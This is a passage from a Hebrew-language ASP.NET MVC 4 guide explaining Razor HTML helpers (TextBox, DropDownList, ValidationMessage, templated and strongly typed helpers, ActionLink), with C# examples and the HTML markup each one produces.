את השגיאות . ולא שגיאות שקשורות למאפיין מודל מסוים כלשהו, שקשורות למודל עצמו

 . יג בנפרדברמת המאפיין נצ

 : נניח שפעולת הבקר שמשמשת למימוש תצוגת העריכה כוללת את הקוד שלהלן

ModelState.AddModelError("", "This is all wrong!"); 

ModelState.AddModelError("Title", "What a terrible name!"); 

עבר מפתח או שהו(מכיוון שלא הועבר מפתח , השגיאה הראשונה הינה שגיאה ברמת המודל
ולכן היא , Titleהשגיאה השנייה קשורה למאפיין . שמקשר את השגיאה למאפיין מסוים) ריק

או שתשנו , אלא אם כן תסירו את הפרמטר שמועבר לסייע(לא תופיע בסיכום האימות בתצוגה 
 : הסייע יממש את התגיות הבאות, בתרחיש זה). false-את ערכו ל

<div class="validation-summary-errors"> 

 <ul> 

  <li>This is all wrong!</li> 

 </ul> 

</div> 
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 מאפשרות לספק כותרות טקסט ולהגדיר ValidationSummaryגרסאות מועמסות נוספות של 
 ).HTML) HTML attributesתכונות 

-validation בשם CSS מממש את מחלקת ValidationSummaryהסייע , על פי מוסכמה הערה

summary-errors יחד עם מחלקות CSSתבנית ברירת המחדל של .  מוגדרות שמועברות לו
ואשר , באדום כוללת מספר עיצובים מסוגננים שמשמשים להצגת הפריטים הללו MVCפרויקט 

 . styles.cssניתנים לשינוי דרך 

 הוספת שדות קלט

שדרכם יוכל תוכלו להוסיף שדות קלט נוספים , לאחר השלמת הטופס וסיכום שגיאות האימות
גישה אפשרית אחת מודגמת בקוד שלהלן . המשתמש להזין את פרטי האלבום עבור התצוגה

אולם בהמשך נציג את הקוד מהגרסה , אנר של האלבום'נערוך רק את השם והז, בתור התחלה(
 ): המוסיק עבור חנות הEditהאמיתית של פעולת 

@using (Html.BeginForm()) 

{ 

 @Html.ValidationSummary(excludePropertyErrors: true) 

 <fieldset> 

  <legend>Edit Album</legend> 

  <p> 

   @Html.Label("GenreId") 

   @Html.DropDownList("GenreId", ViewBag.Genres as SelectList) 

  </p> 

  <p> 

   @Html.Label("Title") 

   @Html.TextBox("Title", Model.Title) 

   @Html.ValidationMessage("Title") 

  </p> 

  <input type="submit" value="Save" /> 

 </fieldset> 

} 

 .5-4הסייעים החדשים יאפשרו להציג למשתמש את הדף שנראה בתרשים 
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 5-4תרשים 

 . ה של הסייעים החדשים שהוספנו לתצוגהלהלן רשימ

 Label 

 DropDownList 

 TextBox 

 ValidationMessage 

 TextArea 

 ListBox 

 . TextBoxנתחיל בסקירה של הסייע 

Html.TextBoxו - Html.TextArea 

בדרך כלל נשתמש בסייע . text עם ערך type בעלת תכונת inputמממש תגית  TextBoxהסייע 
TextBoxהקריאה הבא, למשל.  לקבלת קלט חופשי מהמשתמש: 

@Html.TextBox("Title", Model.Title) 

 : קוד זה יפיק את התגיות שלהלן
<input id="Title" name="Title" type="text" 

  value="For Those About To Rock We Salute You" /> 

 כולל גרסאות מועמסות שמאפשרות TextBoxגם הסייע ,  האחריםHTMLכמו רוב סייעי 
לסייע " קרוב"סייע ). כמודגם בחלק הקודם של הפרק( אינדיבידואליות HTMLלהגדיר תכונות 

TextBox הוא הסייע TextArea , אשר משמש למימוש אלמנט<textarea> להזנת קלט טקסט 
 :הקוד שלהלן. פר שורותבן מס

@Html.TextArea("text", "hello <br/> world") 
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 : יפיק את התגיות
<textarea cols="20" id="text" name="text" rows="2">hello &lt;br /&gt; world 

</textarea> 

כל הסייעים מקודדים את ערכי המודל ואת (גם הפעם הסייע מקודד את הערך עבור הפלט 
 מאפשרות לציין את מספר TextAreaגרסאות מועמסות נוספות של הסייע ). נותערכי התכו

 . הטורים והשורות של תיבת הטקסט כדי לשלוט בגודל התיבה

@Html.TextArea("text", "hello <br /> world", 10, 80, null) 

 :הקוד שלעיל יפיק את הפלט הבא

<textarea cols="80" id="text" name="text" rows="10">hello &lt;br /&gt; world 

</textarea> 

Html.Label 

ומשתמש בפרמטר מחרוזת כדי לממש את הטקסט ואת , </label> מחזיר אלמנט Labelהסייע 
 ואת forגרסה מועמסת נוספת של הסייע מאפשרת להגדיר את התכונה . forערך התכונה 

 תגרום להפקת Html.Label("GenreId")הקריאה , קוד האחרוןקטע הב. המאפיין באופן עצמאי
 :  שלהלןHTMLתגיות 

<label for="GenreId">Genre</label> 

. ייתכן שאינכם יודעים מה בדיוק הוא אמור לעשות, labelאם לעולם לא השתמשתם באלמנט 
ובכך , כגון קלט טקסט,  הינה לצרף מידע לאלמנטי קלט אחריםlabelהמטרה של האלמנט 

 של ID צריכה להכיל את הזיהוי label של תגית forהתכונה .  היישוםלשפר את הנגישות של
אנרים אשר מופיעה בשורה 'זו הרשימה הנפתחת של הז, בדוגמה שלנו(אלמנט הקלט המשויך 

יכולים להשתמש בטקסט של התווית כדי לתאר בצורה ] screen readers[קוראי מסך ). הבאה
, שר המשתמש לוחץ על התווית עם סמן העכברכא,  כמו כן.טובה יותר את הקלט מהמשתמש

הדבר שימושי במיוחד אם יש . הדפדפן מעביר את המיקוד לבקר הקלט המשויך לתווית זו
בטופס תיבות סימון או לחצני בחירה וברצוננו לספק למשתמש שטח גדול יותר ללחוץ עליו 

 ). במקום שיהיה חייב ללחוץ במדויק על התיבה או על העיגול(בעכבר 

תכן ששמו לב לכך שהכיתוב של התווית בחלון הדפדפן אינו יחדי האבחנה מביניכם י
"GenreId) "אלא , )המחרוזת שהעברתם לסייע"Genre ."סייעים משתמשים , במידת האפשר

נחזור ונדון בסוגיה זו לאחר . בכל נתוני המטא של המודל הזמינים להם לצורך בניית התצוגה
 . ם בטופססקירת כל הסייעים שמיושמי

Html.DropDownListו - Html.ListBox 

 DropDownListהסייע . </ select> מחזירים אלמנט ListBox וגם הסייע DropDownListגם הסייע 
 מאפשר למשתמש לבחור מספר ListBoxבעוד שהסייע , מאפשר למשתמש לבחור פריט יחיד

 ). התגיות הממומשות שלmultiple בתיבה multipleעל ידי הצבת התכונה (פריטים 
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 :  יש שתי מטרותselectלאלמנט , ככלל

 הצגת רשימה של אפשרויות זמינות. 

 הצגת הערך הנוכחי של שדה. 

אנחנו . GenreId שכוללת את המאפיין Album נמצאת מחלקה בשם Music Storeביישום 
את כל גם  -ובנוסף , GenreId כדי להציג את הערך של המאפיין selectמשתמשים באלמנט 

 . אנרים הזמינים'שאר הז

מכיוון שהם , עלינו לבצע מספר הכנות מקדימות בקוד של הבקר בעת שימוש בסייעים הללו
או , רשימה צריכה אוסף של היקרויות. זקוקים למידע מסוים כדי לספק את הפלט הדרוש

אובייקט . הפריטים האפשריים ברשימה שמייצג את כל SelectListItemשל , מופעים
SelectListItem כולל את המאפיינים Text ,Valueו -Selected . ניתן לבנות אוסף של אובייקטי
SelectListItemאו להיעזר במחלקות הסיוע ,  לבדSelectListו -MultiSelectListשל התשתית  .

 של כל טיפוס ולהמיר את הרצף הקיים לרצף של IEnumerableמחלקות אלו יכולות לבחון את 
 : StoreManager של הבקר Editניקח לדוגמה את הפעולה . SelectListItem אובייקטי

public ActionResult Edit(int id) 

{ 

 var album = storeDB.Albums.Single(a => a.AlbumId == id); 

 

 ViewBag.Genres = new SelectList(storeDB.Genres.OrderBy(g => g.Name), 

       "GenreId", "Name", album.GenreId); 

 return View(album); 

} 

האלבום (אפשר לחשוב על פעולת הבקר בתור תהליך שבונה לא רק את המודל הראשי 
. אלא גם בתור מודל הייצוג הדרוש לסייע של הרשימה הנפתחת, )שישמש כבסיס לעריכה

בבסיס  Genres( מגדירים את האוסף המקורי SelectListהפרמטרים שמועברים לבנאי של 
את שם המאפיין שישמש בתור , )GenreId(את שם המאפיין שישמש בתור ערך , )הנתונים
 ). כדי לקבוע איזה פריט לסמן כנבחר(ואת הערך של הפריט הנבחר הנוכחי , )Name(טקסט 

 ולהפיק את אוסף )reflection overhead (להימנע מהתקורה שכרוכה בשיקוףאם ברצונכם 
SelectListItemתוכלו להשתמש בשיטת , כם בעצמSelect של LINQ כדי להקרין )project (

 : SelectListItemלתוך אובייקטי ) Genres(אנרים 'ז
public ActionResult Edit(int id) 

{ 

 var album = storeDB.Albums.Single(a => a.AlbumId == id); 

 

 ViewBag.Genres = 

  storeDB.Genres 

     .OrderBy(g => g.Name) 

     .AsEnumerable() 

     .Select(g => new SelectListItem 
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      { 

         Text = g.Name, 

         Value = g.GenreId.ToString(), 

         Selected = album.GenreId == g.GenreId 

      }); 

 return View(album); 

} 

Html.ValidationMessage 

תוכלו להשתמש בסייע , ModelStateה בשדה מסוים במילון כאשר מתגלית שגיא
ValidationMessageבפעולת הבקר שלהלן הוספנו בכוונה , לדוגמה.  להצגת הודעת השגיאה

 :  שמתייחס למצב המודלTitleשגיאה במאפיין 
[HttpPost] 

public ActionResult Edit(int id, FormCollection collection) 

{   var album = storeDB.Albums.Find(id); 

 

 ModelState.AddModelError("Title", "What a terrible name!"); 

 

 return View(album); 

} 

 :באמצעות הקוד שלהלן) אם קיימת(בתצוגה ניתן להציג את הודעת השגיאה 

@Html.ValidationMessage("Title") 

 : הקוד שלעיל יוצר את התגיות האלו

<span class="field-validation-error" data-valmsg-for="Title" 

     data-valmsg-replace="true"> 

   What a terrible name! 

</span> 

תוכלו גם .  שבמצב המודלkeyהודעה זו מוצגת רק במקרה שמתלית שגיאה עבור המפתח 
 :תצוגה לפי הקוד שלהלןלקרוא לגרסה מועמסת שמאפשרת לעקוף הודעות שגיאה מתוך ה

@Html.ValidationMessage("Title", "Something is wrong with your title") 

 : תקבלו, כתוצאה
<span class="field-validation-error" data-valmsg-for="Title" 

  data-valmsg-replace="false">Something is wrong with your title 

 יחד validation-summary-errors בשם CSSייע מממש את מחלקת הס, על פי מוסכמה הערה
 כוללת מספר MVCתבנית ברירת המחדל של פרויקט .  אחרות שמועברות לוCSSמחלקות 

ואשר ניתנים לשינוי דרך , באדוםעיצובים מסוגננים שמשמשים להצגת הפריטים הללו 
styles.css . 
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 והיכולת להגדיר תכונות של HTMLכגון קידוד , לאפשרויות השכיחות שתיארנו עד כהבנוסף 
לכל אפשרויות הקלט בטופס יש מספר התנהגויות משותפות בכל הקשור , HTMLתגיות 

 . לעבודה עם ערכי מודל ומצב מודל

 מודלים ונתוני תצוגה , סייעים

הם פוטרים מהעבודה ,  ובמקבילHTMLסייעים מאפשרים לשלוט באופן מדויק בבנייה של דפי 
והערכים הודעות השגיאה , התוויות, ה שכרוכה בבניית ממשקי משתמש להצגת הבקריםהרב

) וגם שאר סייעי הטופס (Html.DropDownList - וHtml.TextBoxסייעים כגון . המתאימים
כל הערכים באובייקט ( כדי לקבל את הערך הנוכחי להצגה ViewDataבודקים את האובייקט 

ViewBag נגישים גם דרך ViewData .( 

נניח שברצונכם . הבה נעזוב לרגע את טופס העריכה שבנינו כדי לבחון דוגמה פשוטה יותר
 : תוכלו לעשות זאת באמצעות קוד הבקר שלהלן. לציין בטופס את המחיר של האלבום

public ActionResult Edit(int id) 

{ 

 ViewBag.Price = 10.0; 

 return View(); 

} 

בת טקסט שתשמש להצגת המחיר על ידי העברת שם זהה לערך בתצוגה תוכלו לכלול תי
 : TextBox לסייע ViewBagשבמאפיין 

@Html.TextBox("Price") 

 :  יפיק את הפלט הבאTextBoxהסייע , בדרך זו

<input id="Price" name="Price" type="text" value="10" /> 

 לבדוק מאפיינים של אובייקטים הם יכולים גם, ViewDataכאשר הסייעים בודקים מה מכיל 
 : נשנה את פעולת הבקר הקודמת באופן הבא. ViewDataבתוך 

public ActionResult Edit(int id) 

{ 

 ViewBag.Album = new Album {Price = 11}; 

 return View(); 

} 

 : תוכלו להשתמש בקוד שלהלן כדי להציג תיבת טקסט שכוללת את המחיר של האלבום

@Html.TextBox("Album.Price") 

 : שהסייע יפלוט תהיינה כמו בדוגמה שלהלןHTMLתגיות , הפעם

<input id="Album_Price" name="Album.Price" type="text" value="11" /> 

הסייע יחפש ערך שמתאים לחלק , ViewData בתוך Album.Price-תואם לש ערך אין כלאם 
. Albumהוא ימצא אובייקט מטיפוס , ואמנם, )Album, בדוגמה זו(שלפני הנקודה הראשונה 
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כנגד האובייקט ) Price, בדוגמה זו(בשלב זה הסייע יבצע הערכה של החלק הנותר של השם 
Album ,וימצא את הערך שישמש אותו . 

 שמופק משתמשים במקף תחתון ולא input של אלמנט idשימו לב שבערך של התכונה 
השימוש בנקודות אינו חוקי לציון ).  כולל נקודהname בעוד שהערך של התכונה(בנקודה 

הריצה מחליף נקודות בערך של המאפיין הסטטי ולכן זמן , idהתכונה 
HtmlHelper.IdAttributeDotReplacement)  בלי תכונות "). _"אשר במקרה שלנו הינוif חוקיות 
 JavaScriptעות ספריות באמצ) client-side scripting(לא ניתן לייצר תסריטים בצד הלקוח 

 .jQueryכדוגמת 

נסו לשנות את , לדוגמה.  פועל היטב גם עם נתוני תצוגה בעלי טיפוסיות חזקהTextBoxהסייע 
 : פעולת הבקר באופן הבא

public ActionResult Edit(int id) 

{  

 var album = new Album {Price = 12.0m}; 

 return View(album); 

} 

 : את שם המאפיין שיש להציגTextBoxיכולים להעביר לסייע כעת אנחנו שוב 
@Html.TextBox("Price"); 

 :  שלהלןHTMLהסייע יפעיל את תגיות , לאחר עדכון הקוד כמוצג לעיל

<input id="Price" name="Price" type="text" value="12.0" /> 

. פוש הנתונים האוטומטיוכך להימנע מחי, סייעי טופס מאפשרים לספק ערך מפורש, אם תרצו
נחזור לטופס שבנינו לצורך , לשם ההמחשה. במקרים מסוימים הגישה המפורשת הכרחית

 :נזכיר כי פעולת הבקר נראית כך. עריכת פרטי אלבום
public ActionResult Edit(int id) 

{ 

 var album = storeDB.Albums.Single(a => a.AlbumId == id); 

 

 ViewBag.Genres = new SelectList(storeDB.Genres.OrderBy(g => g.Name), 

       "GenreId", "Name", album.GenreId); 

 

 return View(album); 

} 

אחראית למימוש שורת הקוד הבאה , Album-לטיפוסיות חזקה היא בעלת ש, בתצוגת העריכה
 : שדה קלט שמשמש להזנת שם האלבום

@Html.TextBox("Title", Model.Title) 

 הוא ערך Title, במקרה שלנו, ובכן? למה. בפרמטר השני מועבר ערך הנתונים באופן מפורש
בדומה , Music Storeשתצוגת עריכת האלבום של יישום מכיוון  ViewDataשכבר נמצא בתוך 



 ASP.NET MVC 4מדריך    120

הצבה זו מתבצעת . ViewBag.Titleמאחסנת את כותרת העמוד במאפיין , לתצוגות רבות אחרות
 : Editה בראש התצוג

@{ 

 ViewBag.Title = "Edit - " + Model.Title; 

} 

 כדי להגדיר את הכותרת ViewBag.Title של היישום יכולה לשלוף את Layout.cshtml_התצוגה 
הסייע יתחיל ,  בלבדTitle תעבירו את המחרוזת TextBoxאם בקריאה לסייע . של הדף שמגדירים

 לפני ViewBagהסייעים בודקים את ( שמאוחסן בו Title ושליפה של ערך ViewBagבבדיקה של 
עליכם , כדי להציג את הכותרת המתאימה). שהם בודקים את המודל בעל הטיפוסיות החזקה

. מדובר בשיעור חשוב בעל דקויות משמעותיות רבות. לספק במקרה זה את הערך המפורש
נתוני התצוגה כדי שיהיה ביישומים גדולים מומלץ לשקול הוספה של קידומות לחלק מרשומות 

 עבור הכותרת של ViewBag.Titleבמקום להשתמש בשם , לדוגמה. ברור היכן משתמשים בהם
 וכך להפחית באופן משמעותי ViewBag.Page_Titleניתן על ידי שימוש בשם כגון , הדף הראשי

 ). page-specific data(את הסבירות להתנגשות עם נתונים של דף מסוים אחר כלשהו 

 סייעים בעלי טיפוסיות חזקה

 לשליפת נתונים מתוך )string literals(להשתמש במחרוזות מפורשות רוצים אם אינכם 
viewdata ,להשתמש במערך של סייעים בעלי טיפוסיות חזקה שמספקת תשתית תוכלו 

ASP.NET MVC . להעביר ביטוי ישכאשר משתמשים בסייעים בעלי טיפוסיות חזקה lambda 

)lambda expression (טיפוס המודל עבור הביטוי יהיה זהה . לציון מאפיין המודל שיש לממש
כדי לקבוע טיפוסיות חזקה לתצוגה ). model@ הנחיההבאמצעות (למודל שצוין עבור התצוגה 

 :יש להוסיף את שורת הקוד הבאה לראש התצוגה, בהתאם למודל האלבום

@model MvcMusicStore.Models.Album 

. עליו עבדנו עד כהשנוכל לשכתב את טופס עריכת האלבום , מודלהנחיה להוספת הלאחר 
 :נעשה זאת כך

@using (Html.BeginForm()) 

{ 

 @Html.ValidationSummary(excludePropertyErrors: true) 

 <fieldset> 

  <legend>Edit Album</legend> 

  <p> 

   @Html.LabelFor(m => m.GenreId)       

   @Html.DropDownListFor(m => m.GenreId, ViewBag.Genres as SelectList) 

  </p> 

  <p> 

   @Html.TextBoxFor(m => m.Title) 

   @Html.ValidationMessageFor(m => m.Title) 

  </p> 

  <input type="submit" value="Save" /> 

 </fieldset> 

} 
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ת החזקה זהים לשמות הסייעים ששימשו אותנו שימו לב ששמות הסייעים בעלי הטיפוסיו
אולם להחלפת ,  כמקודםHTMLקוד זה יפיק בדיוק את אותו . Forבתוספת הסיומת , קודם

בדיקת שגיאות , IntelliSenseוביניהם ,  יש מספר יתרונות נלוויםlambdaהמחרוזות בביטוי 
אם תשנו שם של (רה קלה יותר בצו) refactoring(וביצוע שינויים פנימיים בקוד , בזמן ההידור

 ).  תוכל לשנות עבורכם את הקוד בתצוגה באופן אוטומטיVisual Studioסביבת , מאפיין במודל

תבניות . תוכלו למצוא גרסת טיפוסיות חזקה לכל הסייעים שעובדים עם נתוני מודל
scaffolding דבר שהת בסייעים בעלי טיפוסיות חזקה כ משתמשו4 המובנות שהצגנו בפרק
מספק  lambdaביטוי .  באופן מפורשTitleשימו לב שלא הגדרנו ערך לתיבת הטקסט . מתאפשר

 של המודל ולשלוף את Titleלסייע את כל המידע הדרוש לו כדי לפנות ישירות למאפיין 
 . הערך המבוקש

 מטא של מודלים-סייעים ונתוני
הסייעים יכולים גם . ViewDataסייעים יכולים לעשות הרבה יותר מאשר רק לחפש מידע בתוך 

 Labelטופס עריכת האלבום משתמש בסייע , לדוגמה. מטא זמינים של המודל-לנצל נתוני
 : אנרים'לרשימת בחירה של ז) Label(להצגת אלמנט תווית 

@Html.Label("GenreId") 

 :הסייע מפיק את הפלט הבא
<label for="GenreId">Genre</label> 

מטא זמינים עבור -הסייע בדק מול זמן הריצה אם יש נתוני? Genreקסט הטתוכן  הגיע היכןמ
GenreId , וזמן הריצה סיפק מידע מהתכונהDisplayName שמצורפת למודל Album : 

[DisplayName("Genre")] 

public int GenreId    { get; set; } 

ידה משמעותית על אופן  יכולים להשפיע במ6שנציג בפרק ) data annotation(סימוני הנתונים 
 ותםמטא שמשמש א-מכיוון שהסימונים מספקים נתוני, של חלק גדול מהסייעיםה פעולה

מטא -בנתונילהשתמש תבנית תוכלו -באמצעות סייעים מבוססי. HTML  קודבעת בניית
 . מטרות נוספותל

 תבנית-סייעים מבוססי
 HTML בונים ASP.NET MVCבתשתית ) templated helpers(תבנית -סייעים מבוססי
השם והטיפוס של (מטא מספקים מידע על ערך המודל -נתוני. מטא ותבנית-באמצעות נתוני

אשר מוספים באמצעות סימוני נתונים או ספק (מטא על המודל עצמו -בנוסף לנתוני, )הערך
גרסאות  וHtml.Editor - וHtml.Display: תבנית- ששה סייעים מבוססייש). ברירת מחדל

 השלם-וגרסאות המודל וHtml.EditorFor - וHtml.DisplayFor , יות החזקה שלהםהטיפוס
)whole-model(שלהם  ,Html.DisplayForModelו - Html.EditorForModel. 

 : של אלבוםTitle מפיק את התגיות הבאות עבור המאפיין Html.TextBoxForהסייע , לדוגמה

<input id="Title" name="Title" type="text" 

      value="For Those About To Rock We Salute You" /> 
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תוכלו להחליף את השורה המתאימה שבקוד , Html.TextBoxForבמקום להשתמש בסייע 
 : המקור בקוד הבא

@Html.EditorFor(m => m.Title) 

כעת תוכלו , עם זאת; TextBoxFor זהה לזה שמופק על ידי HTML מפיק EditorForהסייע 
הרבה ) Helper(שימו לב שהשם של הסייע .  באמצעות סימוני נתוניםHTMLנות את התגיות לש

בעת שימוש בסייעים ). אשר מעיד על סוג מסוים של אלמנט קלט (TextBoxיותר כללי מהשם 
הבה נראה מה . שיידרש" עורך"אתם למעשה מבקשים שבזמן הריצה יופק כל , תבנית-מבוססי

 : Title למאפיין DataTypeיקרה אם נוסיף סימון 

[Required(ErrorMessage = "An Album Title is required")] 

[StringLength(160)] 

[DataType(DataType.MultilineText)] 

public string   Title      { get; set; } 

 :  הבאותHTML יממש את תגיות EditorForכעת הסייע 

<textarea class="text-box multi-line" id="Title" name="Title"> 

 Let There Be Rock 

</textarea> 

המטא והחליט שאלמנט - בחן את נתוניEditorForהסייע , מכיוון שהבקשה לעורך היא כללית
HTML המתאים ביותר במקרה זה הוא textarea) המאפיין , המטא-מכיוון שעל פי נתוניTitle 

 שרוב שמות האלבומים לא נפרסים על יותר משורת כמובן). יכול להכיל שורות טקסט אחדות
אך יש אמנים שאוהבים לחרוג מהמוסכמות המקובלות כשמגיעה העת לקבוע שם , טקסט אחת

 . לאלבום שלהם

 לאובייקט מודל HTML משמשים לבניית EditorForModel והסייע DisplayForModelהסייע 
ולראות את , ים לאובייקטי מודלהסייעים הללו מאפשרים להוסיף מאפיינים חדש. שלם

 . מבלי יהיה צורך לשנות את התצוגות) UI(השינויים באופן מיידי בממשק המשתמש 

תבנית באמצעות -שניתן לשלוט בתגיות שמופקות על ידי סייעים מבוססי, לסיום נוסיף
 ). 15ראו פרק (תבניות תצוגה או עריכה מותאמות אישית 

 ModelStateסייעים ומילון 

הסייעים שמשמשים להצגת ערכי טופס מקיימים אינטראקציה עם מצב המודל כל 
)ModelState .( זכרו כיModelStateוהוא מכיל ,  הינו תוצר לוואי של תהליכי הקישור למודל

מצב המודל מכיל גם את הערכים . את כל שגיאות האימות שזוהו במהלך הקישור למודל
 . ן המודלהגולמיים שנשלחו על ידי המשתמש לעדכו

סייעים אשר משמשים למימוש שדות טופס מחפשים את הערכים הנוכחיים שלהם במילון 
ModelStateהסייעים משתמשים בשם השדה כמפתח לחיפוש במילון .  באופן אוטומטי
ModelState .הסייע משתמש בו מתוך , אם הערך המבוקש נמצא במילוןModelState במקום 

 . )viewdata(ה להשתמש בערך שבנתוני התצוג
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לשמר ערכים לא חוקיים שהוזנו על ידי המשתמש  מאפשר ModelStateהחיפוש במילון 
 לעורך של המאפיין abcאם המשתמש הזין , לדוגמה. במקרה של בעיה עם הקישור למודל

DateTime ,והערך , כשליהקישור למודל יabc יתווסף למאפיין המתאים של ModelState .
 abcהערך , ש מחדש כדי לאפשר למשתמש לתקן את שגיאות האימותכאשר התצוגה תמומ

והדבר יאפשר למשתמש לראות את הערך שהזין ואשר גרם , DateTimeעדיין יופיע בעורך של 
 . לתקן את השגיאה -וכמובן , לבעיה

 CSSהסייע שמשויך לשגיאה מפעיל מחלקת ,  מכיל שגיאה במאפיין כלשהוModelStateכאשר 
גיליון הסגנון .  בנוסף לכל מחלקה אחרת שהוגדרה באופן מפורשinput-validation-errorבשם 

 .  שכלול בתבנית הפרויקט מכיל את העיצוב עבור מחלקה זוstyle.cssהסטנדרטי 

 סייעי קלט נוספים
 והסייע TextBoxכמו למשל הסייע , בנוסף לסייעי הקלט שהצגנו בחלק הקודם של הפרק

DropDownList , תשתיתASP.NET MVC מספקת סייעים נוספים שמטפלים במגוון רחב של 
 . בקרי קלט

Html.Hidden 

 : הקוד שלהלן, לדוגמה.  משמש למימוש אלמנט קלט מוסתרHtml.Hiddenהסייע 

@Html.Hidden("wizardStep", "1") 

 :יפיק את הביטוי
<input id="wizardStep" name="wizardStep" type="hidden" value="1" /> 

אם המודל שלכם כולל את . Html.HiddenForגרסת הטיפוסיות החזקה של הסייע הזה נקראת 
 :עליכם להשתמש בו באופן הבא, WizardStepהמאפיין 

@Html.HiddenFor(m => m.WizardStep) 

Html.Password 

למעט , TextBoxהוא מאוד דומה לסייע .  משמש למימוש שדה סיסמהHtml.Passwordהסייע 
 :הקוד שלהלן. ומשתמש בהסתרת סיסמה, העובדה שאינו משמר את הערך שנמסר

@Html.Password("UserPassword") 

 :יפיק את הביטוי

<input id="UserPassword" name="UserPassword" type="password" value="" /> 

וכדי להציג , Html.PasswordFor, כמצופה,  הינהHtml.Passwordגרסת הטיפוסיות החזקה של 
 : יש להשתמש בה באופן הבאUserPasswordאת המאפיין 

@Html.PasswordFor(m => m.UserPassword) 
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Html.RadioButton 

כדי לאפשר למשתמש לבחור בערך יחיד מתוך כמה , לחצני בחירה מקובצים בדרך כלל יחדיו
שימת צבעים אם אתם רוצים לאפשר למשתמש לבחור צבע מר, לדוגמה. אפשרויות זמינות

כדי לקבץ לחצני . תוכלו להשתמש במספר לחצני בחירה להצגת האפשרויות השונות, מוגדרים
ישלח אל יהלחצן הנבחר הוא היחיד ש. עליכם לתת לכל הלחצנים במקבץ שם זהה, בחירה

 . השרת בעת מסירת הטופס

 :  למימוש לחצן בחירה פשוטHtml.RadioButtonסייע תוכלו להשתמש ב

@Html.RadioButton("color", "red") 

@Html.RadioButton("color", "blue", true) 

@Html.RadioButton("color", "green") 

 : תוצאת הפעולה תהיה
<input id="color" name="color" type="radio" value="red" /> 

<input checked="checked" id="color" name="color" type="radio" value="blue" /> 

<input id="color" name="color" type="radio" value="green" /> 

במקום . Html.RadioButtonFor  בשם, יש גרסת טיפוסיות חזקהHtml.RadioButtonגם לסייע 
גרסת הטיפוסיות החזקה מקבלת ביטוי שמזהה את האובייקט אשר מכיל את , לקבל שם וערך

 . רך שיש לשלוח לשרת אם המשתמש בוחר בלחצןכשאחריו הע, המאפיין שמיועד למימוש

@Html.RadioButtonFor(m => m.GenreId, "1") Rock 

@Html.RadioButtonFor(m => m.GenreId, "2") Jazz 

@Html.RadioButtonFor(m => m.GenreId, "3") Pop 

Html.CheckBox 

 : מה את הקוד שלהלןניקח לדוג.  ייחודי בכך שהוא מממש שני אלמנטי קלטCheckBoxהסייע 

@Html.CheckBox("IsDiscounted") 

 :  אלוHTMLהפעלת הקוד תפיק את תגיות 

<input id="IsDiscounted" name="IsDiscounted" type="checkbox" value="true" /> 

<input name="IsDiscounted" type="hidden" value="false" /> 

בנוסף לתיבת הסימון ) hidden(ה קלט מוסתר אתם בוודאי תוהים מדוע הסייע מממש שד
)checkbox .(הסייע מממש שני שדות קלט מכיוון שעל סמך המפרט , ובכןHTML על הדפדפן 

אלמנט הקלט השני , בדוגמה זו. לשלוח ערך עבור תיבת הסימון רק כאשר היא מסומנת
 . הסימון גם אם המשתמש לא יסמן את תיבת IsDiscountedמבטיח שיופיע ערך עבור 

יש גם סייעים , למרות שחלק גדול מהסייעים מוקדשים לבניית טפסים ושדות קלט לטפסים
 . שיוכלו לשמש אתכם בתרחישי מימוש כלליים
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 סייעי מימוש
,  משמשים ליצירת קישורים למשאבים אחרים ביישום)rendering helper(סייעי מימוש 

תצוגות שיות של ממשק המשתמש המכונות שימו-ויכולים גם לסייע לכם בבניית הפיסות הרב
 .)partial views(חלקיות 

Html.ActionLinkו - Html.RouteLink 

 בדומה לסייע. לפעולת בקר אחרת) anchor, תגית עוגן(קישור - מפיק היפרActionLinkהסייע 
BeginFormהסייע ,  שהצגנו קודם לכןActionLink משתמש במנגנוני הניתוב API המוסתרים 

בעת קישור לפעולה באותו בקר שמשמש למימוש , לדוגמה.  מתאיםURLי להפיק נתיב כד
 :אתם יכולים לספק את שם הפעולה בלבד, התצוגה הנוכחית

@Html.ActionLink("Link Text", "AnotherAction") 

 :שורת הקוד תפיק את התגיות הבאות, בהנחה שמדובר בניתוב על פי ברירת מחדל

<a href="/Home/AnotherAction">LinkText</a> 

אתם יכולים להעביר את שם הבקר , אם אתם רוצים ליצור קישור לפעולה שנמצאת בבקר אחר
 של Indexכדי לממש קישור לפעולה , לדוגמה.  בתור ארגומנט שלישיActionLinkלשיטה 

ShoppingCartController ,נכתוב את שורת הקוד שלהלן : 

@Html.ActionLink("Link Text", "Index", "ShoppingCart") 

לעולם לא מציינים את שם הטיפוס . Controllerשימו לב שהעברנו את שם הבקר ללא סיומת 
, ASP.NET MVC מכירות היטב את הבקרים והשיטות של ActionLinkשיטות . של הבקר

ובדוגמאות האחרונות ראינו כיצד להשתמש בגרסאות המועמסות של הסייעים הללו כדי 
 . או גם את שם הבקר וגם את שם הפעולה, לציין את שם הפעולה בלבד

 אינן מספקות מענה הולם ActionLinkלעתים קרובות הגרסאות המועמסות הקיימות של 
או ,  בנתיבIDייתכן שתצטרכו להעביר ערך , לדוגמה. למספר הפרמטרים הנדרשים לניתוב

ובן מאליו שלא ניתן לספק גרסה מועמסת ברור ומ. פרמטר ניתוב אחר שייחודי ליישום שלכם
 .  לכל הטיפוסים והתרחישים האפשרייםActionLinkמובנית מתאימה של סייע 

באפשרותכם להעביר לנתב את כל ערכי הניתוב הנדרשים באמצעות גרסאות , למרבה המזל
אחת מהגרסאות מאפשרת לכם להעביר אובייקט מטיפוס . ActionLinkמועמסות אחרות של 
RouteValueDictionary . בדרך כלל (גרסה אחרת מאפשרת לכם להעביר פרמטר אובייקט

תהליך זמן הריצה סוקר את מאפייני האובייקט . routeValueפרמטר ל) מטיפוס אנונימי
, שמות המאפיינים יהיו השמות של פרמטרי הניתוב(ומשתמש בהם לבניית ערכי הניתוב 

כדי לבנות קישור לעריכת , לדוגמה).  פרמטרי הניתובוערכי המאפיינים ייצגו את הערכים של
 :תוכלו להשתמש בקוד הבא, 10720 של IDאלבום עם ערך 

@Html.ActionLink("Edit link text", "Edit", "StoreManager", new {id=10720}, null) 
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ן קודם לכ. htmlAttributes הוא הארגומנט ActionLinkהפרמטר האחרון בגרסה זו של סייע 
באלמנט ) attribute(ראיתם כיצד ניתן להשתמש בפרמטר הזה לקביעת הערך של כל תכונה 

HTML . כאן העברנו ערךnull)  פעולה השקולה להימנעות מהגדרות תכונות נוספות בתגיות
HTML .(אנחנו בכל זאת חייבים , למרות שאיננו צריכים להגדיר תכונות נוספות באמצעות קוד

